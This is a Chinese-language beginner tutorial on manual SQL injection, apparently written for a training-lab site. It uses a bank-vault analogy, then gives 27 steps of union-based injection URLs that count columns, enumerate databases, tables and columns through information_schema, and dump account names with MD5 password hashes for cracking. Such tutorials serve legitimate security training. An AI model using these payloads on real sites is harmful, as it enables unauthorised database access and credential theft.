零基礎學習手工SQL注入
SQL注入介紹
SQL注入,其實就是使用者瀏覽器提交的變數內容,應用程式(程式碼可能是asp、aspx、php、jsp等)對瀏覽器提交過來的資料未過濾,直接去資料庫查詢,導致把資料庫裡面其他內容(如管理賬戶和密碼)查詢返回到頁面上。先看個《墨者學院故事會》的一個小故事:
某個鎮子裡,銀行保險櫃做為一個公共區域幫居民儲存貴重物品,為了防止錯拿、多拿他人物品,銀行規定:限制每人每次只能帶一把開自己保險櫃的鑰匙,取自己的東西出入。在銀行安檢門口有個負責檢查的安檢員,安檢員職責就是檢查進入銀行保險櫃取物品的人每次是否只帶了一把鑰匙。
這個鎮子上有多家銀行,有個人名字叫“路人甲”,他去A銀行取物品,A銀行的安檢員盡職盡責,對“路人甲”的全身上下、裡裡外外一絲不苟的檢查N遍,確定他只帶了一把自己的鑰匙後,才放行讓他進去取物品;後來“路人甲”去B銀行去物品,他發現B銀行的安檢員是行長的小舅子,崗位就是個擺設,從未來上過班,進入保險櫃也無人進行檢查。所以“路人甲”帶著他和他老婆的鑰匙一起帶來取,發現成功取到物品後,“路人甲”就多帶把螺絲刀,通過安檢門,利用螺絲刀開啟行長小舅子的櫃子,成功取走了他的物品,“路人甲”發現有行長的櫃子是用鋼板焊的,螺絲刀無法拆開,他就多帶了把切割機,通過安檢門,花了大功夫用切割機把櫃子開啟,把行長櫃子裡的東西全部取走了。
“路人甲”發現這樣可以“致富”,他就整天從各個銀行逛來逛去,去找安檢不嚴的銀行去取他人的東西。每個銀行的安檢門的攝像頭都把他出入記錄了下來,終於有一天,有家銀行告訴了警察,警察調取了攝像頭視訊內容,把“路人甲”給逮捕了。根據相關法律法規,“路人甲”涉嫌未授權獲取(入侵)他人物品,被判刑入獄。
我們把這個故事裡面的每個內容分配個角色:
◆ 鎮子==網際網路
◆ 銀行==業務系統(網站)
◆ 安檢門==應用程式(程式碼)
◆ 安檢員==過濾非安全程式碼(如SQL注入、XSS等危險程式碼)
◆ 保險櫃的物品==儲存在資料庫中的資料,可能包含賬戶密碼等敏感資料
◆ 小舅子保險櫃的物品==業務系統(網站)的管理許可權
◆ 行長保險櫃的物品==伺服器(主機)許可權
◆ “路人甲”==操作瀏覽器的人
◆ “路人甲”的鑰匙==提交的正常變數內容
◆ “路人甲”的老婆鑰匙==提交的測試SQL注入的語句
◆ 螺絲刀==提交的SQL注入其他語句
◆ 切割機==WebShell或者提權的命令
◆ 攝像頭==各種日誌記錄
◆ 警察==現實中的警察叔叔
◆ 法律法規==《刑法》、《網路安全法》
如果“路人甲”是一個安保公司的人,他來給銀行做安全防護,他應該最清楚銀行哪些地方是最薄弱的環節。可以給銀行做個安全防護,鎮上來取物品的人比較多,就多做幾個大門(負載均衡),給銀行的安檢門外多加幾層安檢通道(防火牆、WAF、IPS、IDS等安全裝置),把行長的小舅子換掉(修補漏洞),每天來檢查安檢人員是否在崗位上工作(定期檢測),把保險櫃和安檢分別放在不同的房間(資料庫與應用系統分離),全部攝像頭開啟(開啟日誌),除了這之外,還有多種安全防護方式。這裡就不在講故事了,真正到現實的業務系統的加固,是需要根據業務場景來決定的。
線上靶場地址
以下是一個Nginx+PHP+MySQL的業務場景靶場,其中php程式碼對引數內容未做任何過濾,導致SQL注入的產生,這個是最簡單、基礎的SQL注入練習環節,需要使用者瞭解MySQL最基礎的語法和資料庫結構,如果基礎較差,請自行補充MySQL基礎知識。
手工SQL注入詳解
手工SQL注入過程,資料庫執行的語句,是頁面提交至伺服器應用程式,應用程式獲取id的值,然後把值拼接到查詢語句中,在到資料庫中查詢,通過程式解析後,把結果返回在頁面上,(使用時請將mozhe.cn替換成對應的靶場地址)。
開啟靶場環境:
第1步:
頁面提交:http://mozhe.cn/new_list.php?id=1
資料庫執行語句:select * from news where id=1
頁面返回描述:返回內容正常
分析解說:正常瀏覽頁面,找到有引數的地方,如id。
第2步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=1
資料庫執行語句:select * from news where id=1 and 1=1
頁面返回描述:返回內容正常
分析解說:測試SQL語句。
第3步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2
資料庫執行語句:select * from news where id=1 and 1=2
頁面返回描述:返回內容為空
分析解說:因為sql語句中,1=2不成立。
第4步:
頁面提交:http://mozhe.cn/new_list.php?id=1 order by 1
資料庫執行語句:select * from news where id=1 order by 1
頁面返回描述:返回內容正常
分析解說:通過SQL語句中order by N 來判斷有幾個欄位,返回內容正常,可以確定至少有1個欄位。
第5步:
頁面提交:http://mozhe.cn/new_list.php?id=1 order by 2
資料庫執行語句:select * from news where id=1 order by 2
頁面返回描述:返回內容正常
分析解說:通過SQL語句中order by N 來判斷有幾個欄位,返回內容正常,可以確定至少有2個欄位。
第6步:
頁面提交:http://mozhe.cn/new_list.php?id=1 order by 3
資料庫執行語句:select * from news where id=1 order by 3
頁面返回描述:返回內容正常
分析解說:通過SQL語句中order by N 來判斷有幾個欄位,返回內容正常,可以確定至少有3個欄位。
第7步:
頁面提交:http://mozhe.cn/new_list.php?id=1 order by 4
資料庫執行語句:select * from news where id=1 order by 4
頁面返回描述:返回內容正常
分析解說:通過SQL語句中order by N 來判斷有幾個欄位,返回內容正常,可以確定至少有4個欄位。
第8步:
頁面提交:http://mozhe.cn/new_list.php?id=1 order by 5
資料庫執行語句:select * from news where id=1 order by 5
頁面返回描述:返回內容為空
分析解說:通過SQL語句中order by N 來判斷有幾個欄位,返回內容不正常,說明欄位數少於5個。
第9步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2,3,4
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,2,3,4
頁面返回描述:在原來的標題上位置顯示為2,內容的位置顯示為3
分析解說:通過SQL語句中and 1=2 union select 1,2,3……,n聯合查詢,判斷顯示的是哪些欄位,就是原本顯示標題和內容時候的查詢欄位,原本的查詢應該是select id,title,contents,times from news where id=1,也就是說title標題是第2個位置顯示,contents內容是在第三個位置顯示。關於union的語法介紹,請自行補習功課。
第10步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,database(),version(),4
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,database(),version(),4
頁面返回描述:在原來的標題上位置顯示為mozhe_Discuz_StormGroup,內容的位置顯示為5.7.22-0ubuntu0.16.04.1
分析解說:SQL語句中database()是查詢當前資料庫的名稱(語法:select database();),一個伺服器上可能有多個數據庫,version()是查詢當前資料的版本(語法:select version();),這裡是這2個內容分別顯示在第2、3的位置上,mozhe_Discuz_StormGroup為資料庫,5.7.22-0ubuntu0.16.04.1為資料庫版本和作業系統的版本。
第11步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
頁面返回描述:在原來的標題上位置顯示為information_schema,內容的位置顯示為3
分析解說:這裡涉及到資料庫information_schema、表SCHEMATA、列SCHEMA_NAME三個內容,資料庫information_schema是MySQL系統自帶的資料庫,其中記錄了當前資料庫系統中大部分我們需要了結的資訊,比如字符集,許可權相關,資料庫實體物件資訊,外檢約束,分割槽,壓縮表,表資訊,索引資訊,引數,優化,鎖和事物等等。說白了,就是這個預設自帶的資料中,儲存了MySQL的資料庫名字、表名字、列名字和其他資訊,通過information_schema我們可以檢視整個MySQL例項的情況。information_schema的詳細介紹請自行補習(最好是自己安裝一個mysql,連上去看看),limit 0,1意思是從第0行起,取1行資料,information_schema為獲取的第1個數據庫名稱。
第12步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1
頁面返回描述:在原來的標題上位置顯示為mozhe_Discuz_StormGroup,內容的位置顯示為3
分析解說:limit 1,1意思是從第1行起,取1行資料,mozhe_Discuz_StormGroup為獲取的第2個數據庫名稱。
第13步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1
頁面返回描述:在原來的標題上位置顯示為mysql,內容的位置顯示為3
分析解說:limit 2,1意思是從第2行起,取1行資料,mysql為獲取的第3個數據庫名稱。
第14步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1
頁面返回描述:在原來的標題上位置顯示為performance_schema,內容的位置顯示為3
分析解說:limit 3,1意思是從第3行起,取1行資料,performance_schema為獲取的第4個數據庫名稱。
第15步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1
頁面返回描述:在原來的標題上位置顯示為sys,內容的位置顯示為3
分析解說:limit 4,1意思是從第4行起,取1行資料,sys為獲取的第5個數據庫名稱。
第16步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1
頁面返回描述:返回內容為空
分析解說:limit 5,1意思是從第5行起,取1行資料,返回為空,說明只有5個數據庫information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。
第17步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1
頁面返回描述:在原來的標題上位置顯示為StormGroup_member,內容的位置顯示為3
分析解說:查詢對應資料庫mozhe_Discuz_StormGroup的第1個數據表名稱,limit 0,1,第1個表名為StormGroup_member。
第18步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1
頁面返回描述:在原來的標題上位置顯示為notice,內容的位置顯示為3
分析解說:查詢對應資料庫mozhe_Discuz_StormGroup的第2個數據表名稱,limit 1,1,第2個表名為notice。
第19步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1
頁面返回描述:返回內容為空
分析解說:返回為空,說明資料庫mozhe_Discuz_StormGroup只有2個數據表,StormGroup_member、notice。
第20步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1
頁面返回描述:在原來的標題上位置顯示為id,內容的位置顯示為int(11)
分析解說:查詢資料庫mozhe_Discuz_StormGroup的表StormGroup_member中的第1個欄位名稱與型別,第1個名稱為id,型別:整型int(11)。
第21步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1
頁面返回描述:在原來的標題上位置顯示為name,內容的位置顯示為varchar(20)
分析解說:查詢資料庫mozhe_Discuz_StormGroup的表StormGroup_member中的第2個欄位名稱與型別,第2個名稱為name,型別:字元型varchar(20)。
第22步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 2,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 2,1
頁面返回描述:在原來的標題上位置顯示為password,內容的位置顯示為varchar(255)
分析解說:查詢資料庫mozhe_Discuz_StormGroup的表StormGroup_member中的第3個欄位名稱與型別,第3個名稱為passworde,型別:字元型varchar(255)。
第23步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 3,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 3,1
頁面返回描述:在原來的標題上位置顯示為status,內容的位置顯示為int(11)
分析解說:查詢資料庫mozhe_Discuz_StormGroup的表StormGroup_member中的第4個欄位名稱與型別,第4個名稱為id,型別:整型int(11)。
第24步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1
頁面返回描述:返回內容為空
分析解說:返回為空,說明資料庫mozhe_Discuz_StormGroup中的表StormGroup_member只有4個欄位,名稱為:id,name,password,status。
第25步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member
頁面返回描述:在原來的標題上位置顯示為2,內容的位置顯示為3
分析解說:查詢資料庫mozhe_Discuz_StormGroup的表StormGroup_member中資料總數,共有2條資料。
第26步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
頁面返回描述:在原來的標題上位置顯示為mozhe-356f589a7df439f6f744ff19bb8092c0-0,內容的位置顯示為3
分析解說:查詢資料庫mozhe_Discuz_StormGroup的表StormGroup_member中的第1條資料的name、password、status的內容,三者之間用-連線起來,CONCAT的是把產生的字串連線起來,這個地方拼接在一起時為了在一個地方全部顯示出來。可以獲得第一條資料的name賬戶為mozhe,密碼password為356f589a7df439f6f744ff19bb8092c0(md5加密後的密碼,可通過解密獲到明文),status賬戶狀態為0。
第27步:
頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1
頁面返回描述:在原來的標題上位置顯示為mozhe-6380305ffa6520047acfe95d29ae707b-1,內容的位置顯示為3
分析解說:查詢資料庫mozhe_Discuz_StormGroup的表StormGroup_member中的第2條資料的name、password、status的內容,三者之間用-連線起來,CONCAT的是把產生的字串連線起來,這個地方拼接在一起時為了在一個地方全部顯示出來。可以獲得第一條資料的name賬戶為mozhe,密碼password為6380305ffa6520047acfe95d29ae707b(md5加密後的密碼,可通過解密獲到明文),status賬戶狀態為1。
把最終MD5後的密碼解密出來,就可以得到後臺登入的明文密碼了。
這個過程中,所有的SQL注入語句未做任何的轉義和註釋,在實際過程中,可能遇到對注入點進行處理,閉合的引號,括號等要先進行閉合,字串的十六進位制,註釋掉多餘的語句等等。